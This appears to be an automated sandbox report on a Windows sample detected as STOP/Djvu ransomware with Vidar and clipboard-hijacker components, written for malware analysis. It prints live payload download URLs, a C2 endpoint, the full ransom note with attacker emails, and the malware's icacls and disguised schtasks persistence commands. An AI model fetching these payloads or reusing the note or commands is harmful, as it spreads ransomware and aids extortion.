Edit tour

Windows Analysis Report
R5391762lf.exe

Overview

General Information

Sample name:	R5391762lf.exe renamed because original name is a hash value
Original sample name:	4f8fb134c680d0e05861a34827751834.exe
Analysis ID:	1431221
MD5:	4f8fb134c680d0e05861a34827751834
SHA1:	5a20d1ff30218dea67d3ff7f61e16e5cc958006f
SHA256:	9c9ed624eaf441b4637d50fe25d386636c5cb59fb69f5b824afc7cec6dfff7f0
Tags:	exeStop
Infos:

Detection

Clipboard Hijacker, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Yara detected Clipboard Hijacker

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

R5391762lf.exe (PID: 7304 cmdline: "C:\Users\user\Desktop\R5391762lf.exe" MD5: 4F8FB134C680D0E05861A34827751834)

R5391762lf.exe (PID: 7360 cmdline: "C:\Users\user\Desktop\R5391762lf.exe" MD5: 4F8FB134C680D0E05861A34827751834)

icacls.exe (PID: 7476 cmdline: icacls "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

R5391762lf.exe (PID: 7500 cmdline: "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask MD5: 4F8FB134C680D0E05861A34827751834)

R5391762lf.exe (PID: 7524 cmdline: "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask MD5: 4F8FB134C680D0E05861A34827751834)

build2.exe (PID: 7724 cmdline: "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 7780 cmdline: "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe" MD5: A04031208441077A014F42095FF86107)

build3.exe (PID: 7908 cmdline: "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

build3.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 8168 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

R5391762lf.exe (PID: 7508 cmdline: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task MD5: 4F8FB134C680D0E05861A34827751834)

R5391762lf.exe (PID: 7596 cmdline: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task MD5: 4F8FB134C680D0E05861A34827751834)

R5391762lf.exe (PID: 7856 cmdline: "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart MD5: 4F8FB134C680D0E05861A34827751834)

R5391762lf.exe (PID: 7916 cmdline: "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart MD5: 4F8FB134C680D0E05861A34827751834)

mstsca.exe (PID: 5956 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 5608 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 4100 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

R5391762lf.exe (PID: 6112 cmdline: "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart MD5: 4F8FB134C680D0E05861A34827751834)

R5391762lf.exe (PID: 6080 cmdline: "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart MD5: 4F8FB134C680D0E05861A34827751834)

mstsca.exe (PID: 1904 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 3284 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 4640 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 4352 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 5384 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 4276 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 4256 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000005.00000002.1405143882.0000000004456000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.1620821652.000000000088C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x790c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.1548831250.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.1548831250.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000000.00000002.1373934785.0000000004498000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000002.1502845330.0000000001D0E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1190:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.1548118097.0000000004466000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.1411013560.0000000004578000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001B.00000002.2060772952.0000000000B00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x70cc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000017.00000002.1792622413.0000000005E10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000017.00000002.1792622413.0000000005E10000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000017.00000002.1792336779.00000000044D3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.1502638549.0000000001BA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
